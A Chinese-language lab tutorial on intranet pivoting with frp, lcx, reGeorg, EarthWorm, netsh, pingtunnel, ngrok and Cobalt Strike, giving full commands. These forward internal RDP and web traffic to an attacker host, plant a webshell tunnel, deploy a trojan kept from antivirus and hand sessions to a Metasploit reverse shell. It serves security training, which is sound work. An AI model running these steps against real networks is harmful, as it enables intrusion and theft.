前言
本文章介紹內網滲透中本人常用的一些隧道代理轉發工具。
環境搭建
環境配置坑點:記得把內網網卡的這個√取消掉,否則直接不同網段也能直接訪問到內網...
win10_hacker: 192.168.29.139kali_hacker: 192.168.29.128windows(目標服務器): (192.168.29.130、10.0.0.3)
winserver2003: 10.0.0.112
注:雙網卡的系統沒有固定用哪個,我這里使用windows,是因為我找了好幾個靶機最后手頭上只有win10能運行,這里也可以使用linux作為被控制機器,沒有所謂,注意frp要使用對應系統的版本即可。
工具清單
可轉發工具,這些是進行內網流量轉出的工具
Frp
Lcx
reGeorg
ew(EarthWorm)
netsh
pingtunnel
ngrok
cs
可代理工具,這些是本地進行流量轉換的工具
Proxifier(windows)
SocksCap(windows)
cs(windows)Proxychains(linux)#本文不做介紹
工具使用
注明:以下工具僅簡單介紹使用方法。
Frp
項目地址:https://github.com/fatedier/frp/
服務端:kali_hacker (192.168.29.128)
客戶端:windows(目標服務器): (192.168.29.130、10.0.0.3)
將客戶端內網中10.0.0.112:80的流量轉到服務端的6000端口中。
命令執行
kali_hacker
vim frps.toml #自行修改端口號,不要與本機的端口號沖突即可#運行命令./frps -c frps.toml
windows
#frpc.toml配置文件說明serverAddr:服務端地址
serverPort:服務端配置文件中bind綁定的端口
localIP:直接指定內網中你要轉的的ip即可
localPort:將localIP的哪個端口號流量轉出來
remotePort:將流量轉進服務端的哪個端口號
type:是表示你要進行什么類型的流量轉發,一般是tcp和http(后面介紹http)
customDomains:表示當內網信息轉過來的時候你希望以什么域名訪問,這里需要你修改hosts文件,將ip和域名進行綁定。#運行命令.\frpc.exe -c frpc.toml
下面是常用的配置,配置了http、tcp(rdp,ssh)
serverAddr = "192.168.29.128"
serverPort = 7000
[[proxies]]
name = "web"
type = "http"
localIP = "10.0.0.112"
localPort = 80
customDomains = ["www.hacker.com"]
[[proxies]]
name = "rdp"
type = "tcp"
localIP = "10.0.0.112"
localPort = 3389
remotePort = 6000
[[proxies]]
name = "ssh"
type = "tcp"
localIP = "10.0.0.112"
localPort = 22
remotePort = 6000
實驗
服務端運行
修改hosts文件:對應客戶端設置的域名和ip
(ip就是這臺kali機器所以可以寫127.0.0.1)
客戶端運行
服務端訪問內網
同理6000端口是內網機器10.0.0.112的3389轉進來的流量
Lcx
項目地址:
https://github.com/Brucetg/Pentest-tools/tree/master/%E7%AB%AF%E5%8F%A3%E8%BD%AC%E5%8F%91
windows_hacker:(192.168.29.139)
windows(目標服務器): (192.168.29.130、10.0.0.3)
將windows內網中的10.0.0.112:3389流量轉到windows_hacker的2222端口上,然后windows_hacker本地將2222端口轉到4444端口上。
命令執行
windows_hacker
.\lcx.exe -listen 2222 4444
windows
.\lcx.exe -slave 192.168.29.139 2222 10.0.0.112 3389
實驗
windows_hacker運行
被控的windows主機運行
windows_hacker遠程桌面內網機器
reGeorg
項目地址:
https://github.com/sensepost/reGeorg
windows_hacker:(192.168.29.139)
windows (目標服務器):(192.168.29.130、10.0.0.3)
用腳本幫你將目標機器windows 上的內網信息通過socks隧道轉到windows_hacker的9999端口上來。
命令執行
windows
將對應站點開發語言的腳本傳到目標服務器上,能訪問成功即可
(php開發的就傳php的腳本,即:tunnel.nosocket.php)
windows_hacker
需要用python2
python2 reGeorgSocksProxy.py -p 9999 -u http://192.168.29.130/tunnel.nosocket.php
實驗
將文件上傳到目標服務器后,在hacker機器上能訪問成功即可
使用python2環境運行腳本
Proxifier
現在就已經是成功轉出來了,只不過需要對轉出來的socks流量做一個轉換,轉換為本機可用的,因為我們知道內網有一個網站,需要轉成http流量進行訪問。
使用Proxifier進行一個本地流量轉換
1.添加代理服務器
2.添加代理規則
3.localhost選擇你之前配置好的代理服務器 127.0.0.1:9999
接著拿出你的瀏覽器訪問內網ip即可了,這樣就相當于將內網流量徹底轉到你的機器上面來,而不是說單獨哪一個端口轉出來,這里隨心所欲逛內網了,bp抓包都沒問題。
4.訪問成功
ew(EarthWorm)
項目地址:該工具已下架,很遺憾,接下來就來懷念一下這個工具吧。
(這款工具殺軟基本過不了,規則已公開)
windows_hacker:(192.168.29.139)
windows(目標服務器):(192.168.29.130、10.0.0.3)
正向代理
命令執行
windows_hacker: 用proxifier正向連接ip:端口
windows:ew.exe -s ssocksd -l 1080
實驗
目標服務器windows
注意1080是轉出的端口,后面正向連接要用這個端口
windows_hacker
:配置好目標ip+端口就能訪問了,這款工具很迅速
反向代理
命令執行
windows(目標服務器): ew.exe -s rssocks -d 192.168.29.139 -e 888
windows_hacker: ew.exe -s rcsocks -l 1080 -e 888
意思是將目標服務器的內網環境通過888端口轉出到hacker的888,然后hacker將888轉到1080端口
實驗
hacker機器先進行監聽,否則目標服務器那邊會因流量轉不出執行出錯
接著目標服務器執行\
就能看到hacker這邊有反應顯示成功了
SocksCap
上面用了很多proxifier,那這里就用一下SocksCap
1.點擊代理,右鍵新增代理
2.導入程序的方式,自己選一個接受流量的程序,我們這里是為了訪問內網的web服務就選擇瀏覽器訪問即可。
3.導入后就能打開訪問內網網址了
netsh
建議在目標服務器上做本地端口轉發接口,個人覺得本地端口轉發效果最佳。
命令執行
目標服務器:將內網的10.0.0.112:80轉到本地的880,最好用該機器對外的ip地址。
netsh interface portproxy add v4tov4 listenaddress=192.168.29.130 listenport=880 connectaddress=10.0.0.112 connectport=80
pingtunnel
這里因為windows作為目標路由服務器轉發內網流量的實驗失敗,所以改用linux。
(有成功的師傅可以留言給我看下是什么問題,學習學習~)
命令執行
這里嘗試轉發內網的3389端口流量出來即可,其他端口類似,這里不管是服務端還是客戶端,在哪個系統運行都是一樣的參數,只不過我這里服務端在windows上運行接收不到客戶端發來的請求,依賴也安裝了具體原因沒找到,還是失敗,所以只能用linux來做服務端。
(有師傅成功了可以留言告知一聲~)
server
./pingtunnel -type server
client
socks類型: pingtunnel.exe -type client -l :4455 -s www.yourserver.com -sock5 1
tcp類型: pingtunnel.exe -type client -l :4455 -s www.yourserver.com -t www.yourserver.com:4455 -tcp 1
udp類型: pingtunnel.exe -type client -l :4455 -s www.yourserver.com -t www.yourserver.com:4455
這里解釋一下客戶端命令的格式:
實驗
實驗這里轉tcp流量出來,如果你要轉socks的話記得配合其它工具進行轉換,比如linux用proxychains,windows用proxifier或其他等等工具,具體情況具體分析。
服務端
客戶端
成功轉出內網server2003的3389流量
ngrok
這個ngrok是解決局域網的流量無法像公網那樣能訪問,但是這個內網機器需要本身能夠出網的才行,相當于你在家里面的局域網流量不是每一個人都能訪問得到,假如你搭建了一臺機器但是想讓其他地區人也能訪問到不用買公網ip,這樣的話ngrok是不錯的選擇。
在內網滲透中用來解決內網機器流量無法直接訪問這類問題也是一種手段。
這里隨便找一臺機器即可,這個機器需能訪問外網,但外網無法直接訪問他
windows: 192.168.29.130
命令執行&&實驗
1.先去官網注冊一個賬號:
https://dashboard.ngrok.com/
2.登錄進去后,接著進入后下載對應系統版本的ngrok到目標機器上
3.把ngrok程序運行起來,如下圖所示
運行圖片
我這里將80端口映射出來
如果沒有看到綠色建立成功的話,運行這條命令:ngrok http 80
。因為可能你不是第一次弄,就需要這條命令,成功后你會看到如下圖所示的映射網址,直接訪問這個就行。
訪問網址后可能會是下圖這個樣子
你點擊visit后就看到你映射出來的站點了,或者你映射的是其他流量就用其他方式直接鏈接這個地址即可。
下圖可以看到我訪問成功了內網中搭建的網站
ps:本人嘗試將3389端口流量映射出來當遠程鏈接,發現失敗了,具體原因沒找到,但測試后發現貌似只有將http這種網站映射出來效果最佳,所以要希望映射其他流量的話還是找其他工具進行實現最好。
cs
這里很簡單,就是把木馬丟到目標服務器上將shell轉過來即可,進行內網滲透最好還是在cs上線后將權限轉到msf上進行后滲透操作效果最佳。
命令執行
提前說明:服務端選擇linux,客戶端選擇windows,你也可以自行選擇不同搭配,服務端和客戶端都有提供兩種選擇,我個人比較常用這種搭配。
服務端
安裝jdk,建議安裝jdk8(安裝方法自行百度)
./teamserver 服務端ip 連接密碼
客戶端
安裝jdk,建議安裝jdk8(安裝方法自行百度)
./cs.bat
ps: teamserver也有提供windows的teamserver.bat運行,同樣cs也有提供cs.sh運行。
實驗
服務端
客戶端
windows雙擊cs.bat文件即可
1.接著客戶端這邊生成木馬
首先創建監聽器
如果沒有其他代理需求就按照下面配置即可(更多用法自行去百度)
選擇生成木馬后門
將木馬保存在一個免殺目錄中,不要被殺軟殺掉即可
2.將木馬上傳在目標服務器上執行即可,這里做實驗就直接放虛擬機雙擊了
回到客戶端看cs就發現有主機上線了,甚至能看到他的兩張網卡,內外網ip
3.這里最好是和msf聯動進行內網滲透效果最佳,所以這里我選擇讓cs增加一個會話轉到msf中
先運行msfconsole
開啟msf,并創建監聽器
use exploit/multi/handler
set payload windows/meterpreter/reverse_http
set lhost (msf監聽的ip)192.168.29.128
set lport (msf監聽的端口)4444
4.接著添加監聽器
5.右鍵增加會話
接著選擇剛剛添加的msf監聽器即可
msf已經拿到shell了,后續就是看你玩msf玩的溜不溜就完事了。
本文介紹內網搭建隧道代理的一些工具,拿到內網環境后就可以進行后滲透工作了
(當然要遵守網絡安全法,在授權范圍下進行)